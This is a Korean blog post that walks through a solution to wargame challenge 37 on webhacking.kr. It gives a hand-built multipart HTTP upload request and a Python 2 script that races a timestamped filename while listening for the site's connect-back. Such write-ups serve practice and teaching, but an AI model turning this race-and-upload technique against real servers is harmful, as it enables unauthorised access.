Python/2.7 information

소켓 파일 업로드 (webhacking.kr 37)

qkqhxla1 2014. 10. 25. 17:49

처음에 37번을 풀때는 netcat으로 7777번 열어놓고 현재 시간보다 한 30초 뒤?의 파일을 올린후 


f5폭풍클릭으로 타이밍을 맞춰서 풀었었는데 이제 조금 프로그래밍 할줄 알게 되서 프로그램으로 


짜봤습니다... 소켓으로 파일 업로드 구현시 주의점은 content length..


POST방식으로 보내기 때문에 body부분에 파일이 올라가서 보내집니다.


------WebKitFormBoundaryBARaBgUn7pXm0LIx

Content-Disposition: form-data; name="upfile"; filename="tmp-1414222870"

Content-Type: application/octet-stream


------WebKitFormBoundaryBARaBgUn7pXm0LIx--


대충 이런식인데 content-length헤더가 갯수가 틀려버리면 이상하게 보내지거나 아니면 무한루프를


도는것처럼 파일전송이 안됩니다. 글자수를 세는 프로그램마다 글자수가 다르게 나오는데 이는 공백을 


글자로 취급하는지의 여부에 따라서인것 같습니다. 에디트플러스에서 저 전체 블록지정후


글자수를 세면 200자가 나옵니다. 하지만 이것은 공백을 포함한 것이어서 쓰면 안됩니다.


제대로 글자수를 세려면 파이썬에서 print len("""------WebKitFormBoundaryBARaBgUn7pXm0LIx

Content-Disposition: form-data; name="upfile"; filename="tmp-1414222870"

Content-Type: application/octet-stream


------WebKitFormBoundaryBARaBgUn7pXm0LIx--""")


등으로 출력하면 공백을 제외한 글자수가 나옵니다. 공백을 제외한 글자수는 196. 이게 content-length


값이라고 보면 됩니다. 위에서도 계속 말했듯이 이거 글자수 틀리면 제대로 전송이 안되기 때문에


매우 중요합니다... 프록시로 burp를 쓰는데 burp에서도 전송은 잘 되는데 틀린 글자수가 나옵니다. 


직접 len으로 출력해보고 고쳐주는게 편합니다. (맞는 글자수 찾느라 몇시간 삽질)


프록시에서 패킷을 캡쳐한후 content-length부분만 바꿔주고 전체 복붙하면 





POST /challenge/web/web-18/index.php HTTP/1.1

Host: webhacking.kr

Content-Length: 196

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://webhacking.kr

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBARaBgUn7pXm0LIx

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4

Cookie: PHPSESSID=tgom5k98unf5mm5h8fv99jcju0


------WebKitFormBoundaryBARaBgUn7pXm0LIx

Content-Disposition: form-data; name="upfile"; filename="tmp-1414223986"

Content-Type: application/octet-stream


------WebKitFormBoundaryBARaBgUn7pXm0LIx--




요런식으로 출력되는데, (Accept-Encoding: gzip,deflate 라인도 지워줍니다. 브라우저가 해석하기 


위한 인코딩으로 파이썬으로는 깨져서 나오기 때문 이것도 전에 어디에 써놨음.) 이 요청을 현재 


시간에서 몇 초를 더한 시간값으로 바꿔서 파일을 업로드한다음 webhacking.kr에 계속 요청을 


보내서 나한테 패킷을 보내도록 하면 됩니다. 코드를 짜는김에 제대로 짜기로 마음먹고 실행시키기만 


하면 답이 나오게끔 이전 글 어딘가에서  만들었었던 파이썬 netcat까지 포함해서, 알아서 


현재 시간+2의 파일을 업로드한다음 요청을 계속 보내서 답이 오고, 답이 오면 그걸 출력하고 


프로그램이 꺼지게끔 코딩했습니다. 아 그리고 프로그래밍하면서 깨달은건데 urllib2.urlopen()


같은걸로 페이지에 한번 연결 후 소켓을 실행시켜야 됩니다. 이유는 모르겠음.... 안하면 안됩니다..


이상하게 아래 소스 복붙하면 안되는 오류 발견; 안되면 파일로 받아서 해보세요.


socket_file.py



import socket,urllib2,time,threading

flag = 1

def netcat(): #파이썬 넷켓
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(('192.168.219.157',7777))
    s.listen(5)
    conn,addr = s.accept() #7777포트를 열고 기다림
    answer = conn.recv(1024)
    for i in range(0,10): #답이 잘 보이도록 10번 출력
        print answer

def request():
    global flag
    req = urllib2.Request('http://webhacking.kr/','id=?????&pw=?????') #한번 연결을 해줘야됨.
    urllib2.urlopen(req)
    now = str(int(time.time())+2) #현재시간보다 2초 뒤 시간
    while 1: 
        if flag: #flag가 1이면 아직 성공 못한거
            s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s2.connect(('webhacking.kr',80))
            message = """POST /challenge/web/web-18/index.php HTTP/1.1
Host: webhacking.kr
Content-Length: 196
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBARaBgUn7pXm0LIx
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=쿠키값

------WebKitFormBoundaryBARaBgUn7pXm0LIx
Content-Disposition: form-data; name="upfile"; filename="tmp-"""+now+"""\"
Content-Type: application/octet-stream

------WebKitFormBoundaryBARaBgUn7pXm0LIx--""";
#2초뒤 시간으로 파일 업로드를 한후 그 시간으로 요청계속보냄
            s2.sendall(message)
            recv = s2.recv(1024)
            print recv #현재 상태 출력
            if recv.find('127.0.0.1') == -1: #성공하면 
                flag = 0 #flag을 0으로 바꾸고
            time.sleep(0.2) #0.2초마다 요청
        else: #flag가 0이면 종료
            break
        
th1 = threading.Thread(target=netcat,args=())
th1.start() #파이썬 넷켓실행
th2 = threading.Thread(target=request,args=())
th2.start() #업로드 요청 실행





쿠키값,아이디 비밀번호,본인 내부 ip주소만 바꿔주면 잘 동작

'Python > 2.7 information' 카테고리의 다른 글

Tkinter(python gui)  (0) 2014.11.22
정규표현식 (파싱)  (0) 2014.11.20
유효한 웹페이지 찾기?  (0) 2014.10.17
소켓과 urllib2 속도차이  (2) 2014.08.21
쓰레드,세마포어 기초  (0) 2014.08.12